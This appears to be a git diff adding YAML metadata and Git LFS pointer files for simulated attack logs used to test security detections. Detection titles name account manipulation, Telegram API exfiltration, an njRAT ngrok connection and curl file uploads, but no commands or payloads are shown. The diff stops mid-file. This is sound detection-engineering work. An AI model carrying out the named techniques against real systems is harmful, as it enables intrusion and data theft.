b/datasets/attack_techniques/T1098/azure_ad_add_serviceprincipal_owner/T1098_azure_ad_add_serviceprincipal_owner.yml @@ -0,0 +1,13 @@ +author: STRT +id: 97a472f7-cb7d-415f-92cf-bd9d52d378b8 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Service Principal + Owner Added +environment: attack_range +directory: azure_ad_add_serviceprincipal_owner +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1098/azure_ad_add_serviceprincipal_owner/azure-audit-97a472f7-cb7d-415f-92cf-bd9d52d378b8.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098/azure_ad_add_serviceprincipal_owner/azure-audit-97a472f7-cb7d-415f-92cf-bd9d52d378b8.log b/datasets/attack_techniques/T1098/azure_ad_add_serviceprincipal_owner/azure-audit-97a472f7-cb7d-415f-92cf-bd9d52d378b8.log new file mode 100644 index 000000000..882f3ae84 --- /dev/null +++ b/datasets/attack_techniques/T1098/azure_ad_add_serviceprincipal_owner/azure-audit-97a472f7-cb7d-415f-92cf-bd9d52d378b8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4f1edf5a13c69d781f6027b7488de98c431274691b11b160c805acba2ef425ce +size 42449 diff --git a/datasets/attack_techniques/T1098/azure_ad_set_immutableid/T1098_azure_ad_set_immutableid.yml b/datasets/attack_techniques/T1098/azure_ad_set_immutableid/T1098_azure_ad_set_immutableid.yml new file mode 100644 index 000000000..1d73b9708 --- /dev/null +++ b/datasets/attack_techniques/T1098/azure_ad_set_immutableid/T1098_azure_ad_set_immutableid.yml @@ -0,0 +1,13 @@ +author: STRT +id: 482bd97f-889d-4705-93fa-cf5a05506fcc +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD User ImmutableId + Attribute Updated +environment: attack_range +directory: azure_ad_set_immutableid +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1098/azure_ad_set_immutableid/azure-audit-482bd97f-889d-4705-93fa-cf5a05506fcc.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098/azure_ad_set_immutableid/azure-audit-482bd97f-889d-4705-93fa-cf5a05506fcc.log b/datasets/attack_techniques/T1098/azure_ad_set_immutableid/azure-audit-482bd97f-889d-4705-93fa-cf5a05506fcc.log new file mode 100644 index 000000000..d9f06840e --- /dev/null +++ b/datasets/attack_techniques/T1098/azure_ad_set_immutableid/azure-audit-482bd97f-889d-4705-93fa-cf5a05506fcc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0d94384457988341c6be23cb71385b75ee04f93cfab5360c03d13ee4141351f6 +size 1565 diff --git a/datasets/attack_techniques/T1098/dnsadmins_member_added/T1098_dnsadmins_member_added.yml b/datasets/attack_techniques/T1098/dnsadmins_member_added/T1098_dnsadmins_member_added.yml new file mode 100644 index 000000000..83f722754 --- /dev/null +++ b/datasets/attack_techniques/T1098/dnsadmins_member_added/T1098_dnsadmins_member_added.yml @@ -0,0 +1,13 @@ +author: STRT +id: 0c41eb7e-5a99-4754-b264-03ce87b3c20c +date: '2026-07-11' +description: Curated attack data generated for detection Windows DnsAdmins New Member + Added +environment: attack_range +directory: dnsadmins_member_added +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1098/dnsadmins_member_added/windows-security-0c41eb7e-5a99-4754-b264-03ce87b3c20c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1098/dnsadmins_member_added/windows-security-0c41eb7e-5a99-4754-b264-03ce87b3c20c.log b/datasets/attack_techniques/T1098/dnsadmins_member_added/windows-security-0c41eb7e-5a99-4754-b264-03ce87b3c20c.log new file mode 100644 index 000000000..962062924 --- /dev/null +++ b/datasets/attack_techniques/T1098/dnsadmins_member_added/windows-security-0c41eb7e-5a99-4754-b264-03ce87b3c20c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:82158aa92156ca872172b2a527905dc237c9fe53e4e5e162c83aa771a8986359 +size 1129 diff --git a/datasets/attack_techniques/T1098/dsrm_account/T1098_dsrm_account.yml b/datasets/attack_techniques/T1098/dsrm_account/T1098_dsrm_account.yml new file mode 100644 index 000000000..8bb6ab69b --- /dev/null +++ b/datasets/attack_techniques/T1098/dsrm_account/T1098_dsrm_account.yml @@ -0,0 +1,16 @@ +author: STRT +id: 780848ac-77e8-41fa-9784-b7752ca45973 +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD DSRM Account Changes +environment: attack_range +directory: dsrm_account +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1098/dsrm_account/windows-sysmon-780848ac-77e8-41fa-9784-b7752ca45973.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-security-xml + path: /datasets/attack_techniques/T1098/dsrm_account/windows-security-xml-780848ac-77e8-41fa-9784-b7752ca45973.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1098/dsrm_account/windows-security-xml-780848ac-77e8-41fa-9784-b7752ca45973.log b/datasets/attack_techniques/T1098/dsrm_account/windows-security-xml-780848ac-77e8-41fa-9784-b7752ca45973.log new file mode 100644 index 000000000..b7c01a2aa --- /dev/null +++ b/datasets/attack_techniques/T1098/dsrm_account/windows-security-xml-780848ac-77e8-41fa-9784-b7752ca45973.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a772b53fdd5401e6f4a82257e570ab2ef50f0e7c4b573bd772f65e1fec5dd6d8 +size 944 diff --git a/datasets/attack_techniques/T1098/dsrm_account/windows-sysmon-780848ac-77e8-41fa-9784-b7752ca45973.log b/datasets/attack_techniques/T1098/dsrm_account/windows-sysmon-780848ac-77e8-41fa-9784-b7752ca45973.log new file mode 100644 index 000000000..1c69aa6dc --- /dev/null +++ b/datasets/attack_techniques/T1098/dsrm_account/windows-sysmon-780848ac-77e8-41fa-9784-b7752ca45973.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fd1b721d76d5a0d718f08554ccaa162a01acca882c30cef0bf60b1576dcf7378 +size 1055 diff --git a/datasets/attack_techniques/T1098/esxi_account_modification/T1098_esxi_account_modification.yml b/datasets/attack_techniques/T1098/esxi_account_modification/T1098_esxi_account_modification.yml new file mode 100644 index 000000000..4183b1c7a --- /dev/null +++ b/datasets/attack_techniques/T1098/esxi_account_modification/T1098_esxi_account_modification.yml @@ -0,0 +1,12 @@ +author: STRT +id: ddfdd18c-3e96-4927-b43f-694a78b26138 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Account Modified +environment: attack_range +directory: esxi_account_modification +mitre_technique: [] +datasets: +- name: esxi_account_modified + path: /datasets/attack_techniques/T1098/esxi_account_modification/esxi_account_modified-ddfdd18c-3e96-4927-b43f-694a78b26138.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1098/esxi_account_modification/esxi_account_modified-ddfdd18c-3e96-4927-b43f-694a78b26138.log b/datasets/attack_techniques/T1098/esxi_account_modification/esxi_account_modified-ddfdd18c-3e96-4927-b43f-694a78b26138.log new file mode 100644 index 000000000..fc8c29c35 --- /dev/null +++ b/datasets/attack_techniques/T1098/esxi_account_modification/esxi_account_modified-ddfdd18c-3e96-4927-b43f-694a78b26138.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cba890f48cec88d4149635fb2323c4fc53bfe2352afd998fa9304c0b952de5d1 +size 770 diff --git a/datasets/attack_techniques/T1098/esxi_admin_role/T1098_esxi_admin_role.yml b/datasets/attack_techniques/T1098/esxi_admin_role/T1098_esxi_admin_role.yml new file mode 100644 index 000000000..3f15d238b --- /dev/null +++ b/datasets/attack_techniques/T1098/esxi_admin_role/T1098_esxi_admin_role.yml @@ -0,0 +1,12 @@ +author: STRT +id: 34341e8d-fdfd-4032-a8b1-358173e8e143 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi User Granted Admin Role +environment: attack_range +directory: esxi_admin_role +mitre_technique: [] +datasets: +- name: esxi_admin_role + path: /datasets/attack_techniques/T1098/esxi_admin_role/esxi_admin_role-34341e8d-fdfd-4032-a8b1-358173e8e143.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1098/esxi_admin_role/esxi_admin_role-34341e8d-fdfd-4032-a8b1-358173e8e143.log b/datasets/attack_techniques/T1098/esxi_admin_role/esxi_admin_role-34341e8d-fdfd-4032-a8b1-358173e8e143.log new file mode 100644 index 000000000..7f9ae362c --- /dev/null +++ b/datasets/attack_techniques/T1098/esxi_admin_role/esxi_admin_role-34341e8d-fdfd-4032-a8b1-358173e8e143.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:07eddeb84bba145ac2345c65744f2017dd8b0873312576787ce072dec2ca2aa5 +size 306 diff --git a/datasets/attack_techniques/T1098/o365_add_app_registration_owner/T1098_o365_add_app_registration_owner.yml b/datasets/attack_techniques/T1098/o365_add_app_registration_owner/T1098_o365_add_app_registration_owner.yml new file mode 100644 index 000000000..9a2c0f62f --- /dev/null +++ b/datasets/attack_techniques/T1098/o365_add_app_registration_owner/T1098_o365_add_app_registration_owner.yml @@ -0,0 +1,13 @@ +author: STRT +id: c84ddb3d-b40d-4bf2-8a3f-5533dec9b421 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Application Registration + Owner Added +environment: attack_range +directory: o365_add_app_registration_owner +mitre_technique: [] +datasets: +- name: o365_add_app_registration_owner + path: /datasets/attack_techniques/T1098/o365_add_app_registration_owner/o365_add_app_registration_owner-c84ddb3d-b40d-4bf2-8a3f-5533dec9b421.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1098/o365_add_app_registration_owner/o365_add_app_registration_owner-c84ddb3d-b40d-4bf2-8a3f-5533dec9b421.log b/datasets/attack_techniques/T1098/o365_add_app_registration_owner/o365_add_app_registration_owner-c84ddb3d-b40d-4bf2-8a3f-5533dec9b421.log new file mode 100644 index 000000000..3dab9e953 --- /dev/null +++ b/datasets/attack_techniques/T1098/o365_add_app_registration_owner/o365_add_app_registration_owner-c84ddb3d-b40d-4bf2-8a3f-5533dec9b421.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:210640d342031983ffc198280139663955e8178acab96b5c0d008b61acf0c042 +size 1863 diff --git a/datasets/attack_techniques/T1098/o365_azure_workload_events/T1098_o365_azure_workload_events.yml b/datasets/attack_techniques/T1098/o365_azure_workload_events/T1098_o365_azure_workload_events.yml new file mode 100644 index 000000000..a2ae420fb --- /dev/null +++ b/datasets/attack_techniques/T1098/o365_azure_workload_events/T1098_o365_azure_workload_events.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3980fdef-44f2-4071-b7b0-f404051625aa +date: '2026-07-10' +description: Curated attack data generated for detection O365 Application Available + To Other Tenants +environment: attack_range +directory: o365_azure_workload_events +mitre_technique: [] +datasets: +- name: o365_azure_workload_events + path: /datasets/attack_techniques/T1098/o365_azure_workload_events/o365_azure_workload_events-3980fdef-44f2-4071-b7b0-f404051625aa.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1098/o365_azure_workload_events/o365_azure_workload_events-3980fdef-44f2-4071-b7b0-f404051625aa.log b/datasets/attack_techniques/T1098/o365_azure_workload_events/o365_azure_workload_events-3980fdef-44f2-4071-b7b0-f404051625aa.log new file mode 100644 index 000000000..ea5f49f3b --- /dev/null +++ b/datasets/attack_techniques/T1098/o365_azure_workload_events/o365_azure_workload_events-3980fdef-44f2-4071-b7b0-f404051625aa.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ae5e6258c0ed8187e1f1341d9e8d210dbf2e2fbf989e4d254ba6b4c53f0ca2f0 +size 1815 diff --git a/datasets/attack_techniques/T1098/service_principal_name_added/T1098_service_principal_name_added.yml b/datasets/attack_techniques/T1098/service_principal_name_added/T1098_service_principal_name_added.yml new file mode 100644 index 000000000..37cb0ec62 --- /dev/null +++ b/datasets/attack_techniques/T1098/service_principal_name_added/T1098_service_principal_name_added.yml @@ -0,0 +1,13 @@ +author: STRT +id: 772ca220-d20a-4d93-be9d-e4a9ef5da568 +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD ServicePrincipalName + Added To Domain Account +environment: attack_range +directory: service_principal_name_added +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1098/service_principal_name_added/windows-security-772ca220-d20a-4d93-be9d-e4a9ef5da568.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1098/service_principal_name_added/windows-security-772ca220-d20a-4d93-be9d-e4a9ef5da568.log b/datasets/attack_techniques/T1098/service_principal_name_added/windows-security-772ca220-d20a-4d93-be9d-e4a9ef5da568.log new file mode 100644 index 000000000..ae1dedf05 --- /dev/null +++ b/datasets/attack_techniques/T1098/service_principal_name_added/windows-security-772ca220-d20a-4d93-be9d-e4a9ef5da568.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:61d96e5c6840533f9ba51b8e3736bd7529326b76248bd83f927749d413eb3eb2 +size 1476 diff --git a/datasets/attack_techniques/T1098/short_lived_service_principal_name/T1098_short_lived_service_principal_name.yml b/datasets/attack_techniques/T1098/short_lived_service_principal_name/T1098_short_lived_service_principal_name.yml new file mode 100644 index 000000000..bc78ea8b9 --- /dev/null +++ b/datasets/attack_techniques/T1098/short_lived_service_principal_name/T1098_short_lived_service_principal_name.yml @@ -0,0 +1,13 @@ +author: STRT +id: 984c6d40-c1bf-4edd-b845-91d7cfb54d2c +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD Short Lived Domain + Account ServicePrincipalName +environment: attack_range +directory: short_lived_service_principal_name +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1098/short_lived_service_principal_name/windows-security-984c6d40-c1bf-4edd-b845-91d7cfb54d2c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1098/short_lived_service_principal_name/windows-security-984c6d40-c1bf-4edd-b845-91d7cfb54d2c.log b/datasets/attack_techniques/T1098/short_lived_service_principal_name/windows-security-984c6d40-c1bf-4edd-b845-91d7cfb54d2c.log new file mode 100644 index 000000000..9f7fa46d7 --- /dev/null +++ b/datasets/attack_techniques/T1098/short_lived_service_principal_name/windows-security-984c6d40-c1bf-4edd-b845-91d7cfb54d2c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3462dd8651f1736e7e86a3d923af693a518f1ead21f4241998838a7b8869c511 +size 2951 diff --git a/datasets/attack_techniques/T1098/windows_multiple_accounts_deleted/T1098_windows_multiple_accounts_deleted.yml b/datasets/attack_techniques/T1098/windows_multiple_accounts_deleted/T1098_windows_multiple_accounts_deleted.yml new file mode 100644 index 000000000..e3e640a4b --- /dev/null +++ b/datasets/attack_techniques/T1098/windows_multiple_accounts_deleted/T1098_windows_multiple_accounts_deleted.yml @@ -0,0 +1,13 @@ +author: STRT +id: b7eb1db9-458e-4873-90e9-159b0a657965 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Multiple Accounts + Deleted +environment: attack_range +directory: windows_multiple_accounts_deleted +mitre_technique: [] +datasets: +- name: windows_multiple_accounts_deleted + path: /datasets/attack_techniques/T1098/windows_multiple_accounts_deleted/windows_multiple_accounts_deleted-b7eb1db9-458e-4873-90e9-159b0a657965.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1098/windows_multiple_accounts_deleted/windows_multiple_accounts_deleted-b7eb1db9-458e-4873-90e9-159b0a657965.log b/datasets/attack_techniques/T1098/windows_multiple_accounts_deleted/windows_multiple_accounts_deleted-b7eb1db9-458e-4873-90e9-159b0a657965.log new file mode 100644 index 000000000..d87500516 --- /dev/null +++ b/datasets/attack_techniques/T1098/windows_multiple_accounts_deleted/windows_multiple_accounts_deleted-b7eb1db9-458e-4873-90e9-159b0a657965.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:58e59f287350fca1ef509c426f7cccc33af5cb6e3b7e9caae59bcb1f251c8754 +size 39894 diff --git a/datasets/attack_techniques/T1098/windows_multiple_accounts_disabled/T1098_windows_multiple_accounts_disabled.yml b/datasets/attack_techniques/T1098/windows_multiple_accounts_disabled/T1098_windows_multiple_accounts_disabled.yml new file mode 100644 index 000000000..26ad10cf8 --- /dev/null +++ b/datasets/attack_techniques/T1098/windows_multiple_accounts_disabled/T1098_windows_multiple_accounts_disabled.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4e0e377e-3074-476b-9495-44337113c0c1 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Multiple Accounts + Disabled +environment: attack_range +directory: windows_multiple_accounts_disabled +mitre_technique: [] +datasets: +- name: windows_multiple_accounts_disabled + path: /datasets/attack_techniques/T1098/windows_multiple_accounts_disabled/windows_multiple_accounts_disabled-4e0e377e-3074-476b-9495-44337113c0c1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1098/windows_multiple_accounts_disabled/windows_multiple_accounts_disabled-4e0e377e-3074-476b-9495-44337113c0c1.log b/datasets/attack_techniques/T1098/windows_multiple_accounts_disabled/windows_multiple_accounts_disabled-4e0e377e-3074-476b-9495-44337113c0c1.log new file mode 100644 index 000000000..ca073c7fe --- /dev/null +++ b/datasets/attack_techniques/T1098/windows_multiple_accounts_disabled/windows_multiple_accounts_disabled-4e0e377e-3074-476b-9495-44337113c0c1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:49a507ecc72395839ef821ee80f0514dea9c77624568f357c080df520e05e0e4 +size 37632 diff --git a/datasets/attack_techniques/T1098/windows_multiple_passwords_changed/T1098_windows_multiple_passwords_changed.yml b/datasets/attack_techniques/T1098/windows_multiple_passwords_changed/T1098_windows_multiple_passwords_changed.yml new file mode 100644 index 000000000..a872bd681 --- /dev/null +++ b/datasets/attack_techniques/T1098/windows_multiple_passwords_changed/T1098_windows_multiple_passwords_changed.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5283ad16-1acd-48f5-a0b0-76b4511e2231 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Multiple Account + Passwords Changed +environment: attack_range +directory: windows_multiple_passwords_changed +mitre_technique: [] +datasets: +- name: windows_multiple_passwords_changed + path: /datasets/attack_techniques/T1098/windows_multiple_passwords_changed/windows_multiple_passwords_changed-5283ad16-1acd-48f5-a0b0-76b4511e2231.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1098/windows_multiple_passwords_changed/windows_multiple_passwords_changed-5283ad16-1acd-48f5-a0b0-76b4511e2231.log b/datasets/attack_techniques/T1098/windows_multiple_passwords_changed/windows_multiple_passwords_changed-5283ad16-1acd-48f5-a0b0-76b4511e2231.log new file mode 100644 index 000000000..6f775344b --- /dev/null +++ b/datasets/attack_techniques/T1098/windows_multiple_passwords_changed/windows_multiple_passwords_changed-5283ad16-1acd-48f5-a0b0-76b4511e2231.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:27f722655ded619a031db4039eb4e00e193b94a6debb5739e995f58962c7d2f0 +size 37724 diff --git a/datasets/attack_techniques/T1102.002/telegram_api_cli/T1102.002_telegram_api_cli.yml b/datasets/attack_techniques/T1102.002/telegram_api_cli/T1102.002_telegram_api_cli.yml new file mode 100644 index 000000000..0aa933601 --- /dev/null +++ b/datasets/attack_techniques/T1102.002/telegram_api_cli/T1102.002_telegram_api_cli.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5456d4ec-14bc-4ed1-ac21-b01e2758c096 +date: '2026-07-10' +description: Curated attack data generated for detection Potential Telegram API Request + Via CommandLine +environment: attack_range +directory: telegram_api_cli +mitre_technique: [] +datasets: +- name: telegram_cli + path: /datasets/attack_techniques/T1102.002/telegram_api_cli/telegram_cli-5456d4ec-14bc-4ed1-ac21-b01e2758c096.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1102.002/telegram_api_cli/telegram_cli-5456d4ec-14bc-4ed1-ac21-b01e2758c096.log b/datasets/attack_techniques/T1102.002/telegram_api_cli/telegram_cli-5456d4ec-14bc-4ed1-ac21-b01e2758c096.log new file mode 100644 index 000000000..425be23e2 --- /dev/null +++ b/datasets/attack_techniques/T1102.002/telegram_api_cli/telegram_cli-5456d4ec-14bc-4ed1-ac21-b01e2758c096.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f7670cc15cb8b0f4d0dfbddb0e21239220dea2a95e1ce330b5ca2cd431696552 +size 7147 diff --git a/datasets/attack_techniques/T1102.002/telegram_api_dns/T1102.002_telegram_api_dns.yml b/datasets/attack_techniques/T1102.002/telegram_api_dns/T1102.002_telegram_api_dns.yml new file mode 100644 index 000000000..a44033db1 --- /dev/null +++ b/datasets/attack_techniques/T1102.002/telegram_api_dns/T1102.002_telegram_api_dns.yml @@ -0,0 +1,13 @@ +author: STRT +id: d1098458-bec5-49ee-b74b-51b8ff88af2d +date: '2026-07-13' +description: Curated attack data generated for detection Windows DNS Query Request + by Telegram Bot API +environment: attack_range +directory: telegram_api_dns +mitre_technique: [] +datasets: +- name: telegram_dns + path: /datasets/attack_techniques/T1102.002/telegram_api_dns/telegram_dns-d1098458-bec5-49ee-b74b-51b8ff88af2d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1102.002/telegram_api_dns/telegram_dns-d1098458-bec5-49ee-b74b-51b8ff88af2d.log b/datasets/attack_techniques/T1102.002/telegram_api_dns/telegram_dns-d1098458-bec5-49ee-b74b-51b8ff88af2d.log new file mode 100644 index 000000000..d8f0f2140 --- /dev/null +++ b/datasets/attack_techniques/T1102.002/telegram_api_dns/telegram_dns-d1098458-bec5-49ee-b74b-51b8ff88af2d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9af69705c0f6a2a96967c67216e084fb536e37652155acdadb072596a7422368 +size 13203 diff --git a/datasets/attack_techniques/T1102/njrat_ngrok_connection/T1102_njrat_ngrok_connection.yml b/datasets/attack_techniques/T1102/njrat_ngrok_connection/T1102_njrat_ngrok_connection.yml new file mode 100644 index 000000000..30ab3886e --- /dev/null +++ b/datasets/attack_techniques/T1102/njrat_ngrok_connection/T1102_njrat_ngrok_connection.yml @@ -0,0 +1,12 @@ +author: STRT +id: 4e994cc4-1dfd-4cd0-8b3d-cbaf98294e29 +date: '2026-07-13' +description: Curated attack data generated for detection Windows Abused Web Services +environment: attack_range +directory: njrat_ngrok_connection +mitre_technique: [] +datasets: +- name: ngrok + path: /datasets/attack_techniques/T1102/njrat_ngrok_connection/ngrok-4e994cc4-1dfd-4cd0-8b3d-cbaf98294e29.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1102/njrat_ngrok_connection/ngrok-4e994cc4-1dfd-4cd0-8b3d-cbaf98294e29.log b/datasets/attack_techniques/T1102/njrat_ngrok_connection/ngrok-4e994cc4-1dfd-4cd0-8b3d-cbaf98294e29.log new file mode 100644 index 000000000..b9ea0db23 --- /dev/null +++ b/datasets/attack_techniques/T1102/njrat_ngrok_connection/ngrok-4e994cc4-1dfd-4cd0-8b3d-cbaf98294e29.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d553162a27154ba743251c73a174b789c755a0e10aea4c62d9fd425f0de5d240 +size 5305 diff --git a/datasets/attack_techniques/T1105/atomic_red_team/T1105_atomic_red_team.yml b/datasets/attack_techniques/T1105/atomic_red_team/T1105_atomic_red_team.yml new file mode 100644 index 000000000..6ff3ac221 --- /dev/null +++ b/datasets/attack_techniques/T1105/atomic_red_team/T1105_atomic_red_team.yml @@ -0,0 +1,28 @@ +author: STRT +id: b117390f-4eb9-4c5e-a381-f5439d7a4461 +date: '2026-07-11' +description: Curated attack data generated for detection Linux Curl Upload File +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: curl-linux-sysmon + path: /datasets/attack_techniques/T1105/atomic_red_team/curl-linux-sysmon-b117390f-4eb9-4c5e-a381-f5439d7a4461.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational +- name: windows-sysmon_curl + path: /datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon_curl-b117390f-4eb9-4c5e-a381-f5439d7a4461.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon_curl_upload + path: /datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon_curl_upload-b117390f-4eb9-4c5e-a381-f5439d7a4461.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon-b117390f-4eb9-4c5e-a381-f5439d7a4461.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: winrar + path: /datasets/attack_techniques/T1105/atomic_red_team/winrar-b117390f-4eb9-4c5e-a381-f5439d7a4461.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1105/atomic_red_team/curl-linux-sysmon-b117390f-4eb9-4c5e-a381-f5439d7a4461.log b/datasets/attack_techniques/T1105/atomic_red_team/curl-linux-sysmon-b117390f-4eb9-4c5e-a381-f5439d7a4461.log new file mode 100644 index 000000000..124cae30d --- /dev/null +++ b/datasets/attack_techniques/T1105/atomic_red_team/curl-linux-sysmon-b117390f-4eb9-4c5e-a381-f5439d7a4461.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:29632675298e027bdcf7f983d5b61ddb464e5540f106a235d56e2fcff0ef55d0 +size 3195 diff --git a/datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon-b117390f-4eb9-4c5e-a381-f5439d7a4461.log b/datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon-b117390f-4eb9-4c5e-a381-f5439d7a4461.log new file mode 100644 index 000000000..37fb75d8b --- /dev/null +++ b/datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon-b117390f-4eb9-4c5e-a381-f5439d7a4461.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9ec17e1b9764cd4168a0a355d7637ebd32db686177fd8e593249f5766fa7457e +size 22720 diff --git a/datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon_curl-b117390f-4eb9-4c5e-a381-f5439d7a4461.log b/datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon_curl-b117390f-4eb9-4c5e-a381-f5439d7a4461.log new file mode 100644 index 000000000..3d4775d95 --- /dev/null +++ b/datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon_curl-b117390f-4eb9-4c5e-a381-f5439d7a4461.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:747179baf217dc8978aea660e9ecd1bd92a585e924223cd8f6107476c169b570 +size 11508 diff --git a/datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon_curl_upload-b117390f-4eb9-4c5e-a381-f5439d7a4461.log b/datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon_curl_upload-b117390f-4eb9-4c5e-a381-f5439d7a4461.log new file mode 100644 index 000000000..718e9b1fc --- /dev/null +++ b/datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon_curl_upload-b117390f-4eb9-4c5e-a381-f5439d7a4461.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:639a1b5bfb960cbc80a0d2777915326b8a52d21ce896718b2e901642fddeb807 +size 18357 diff --git a/datasets/attack_techniques/T1105/atomic_red_team/winrar-b117390f-4eb9-4c5e-a381-f5439d7a4461.log b/datasets/attack_techniques/T1105/atomic_red_team/winrar-b117390f-4eb9-4c5e-a381-f5439d7a4461.log new file mode 100644 index 000000000..01a87214a --- /dev/null +++ b/datasets/attack_techniques/T1105/atomic_red_team/winrar-b117390f-4eb9-4c5e-a381-f5439d7a4461.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3f87d663b59bf67a2ee962d4adbd541260427c71a20675ae94d183aa9c0739bd +size 2253 diff --git a/datasets/attack_techniques/T1105/dll_loaded_in_temp/T1105_dll_loaded_in_temp.yml b/datasets/attack_techniques/T1105/dll_loaded_in_temp/T1105_dll_loaded_in_temp.yml new file mode 100644 index 000000000..93a4911f0 --- /dev/null +++ b/datasets/attack_techniques/T1105/dll_loaded_in_temp/T1105_dll_loaded_in_temp.yml @@ -0,0 +1,13 @@ +author: STRT +id: 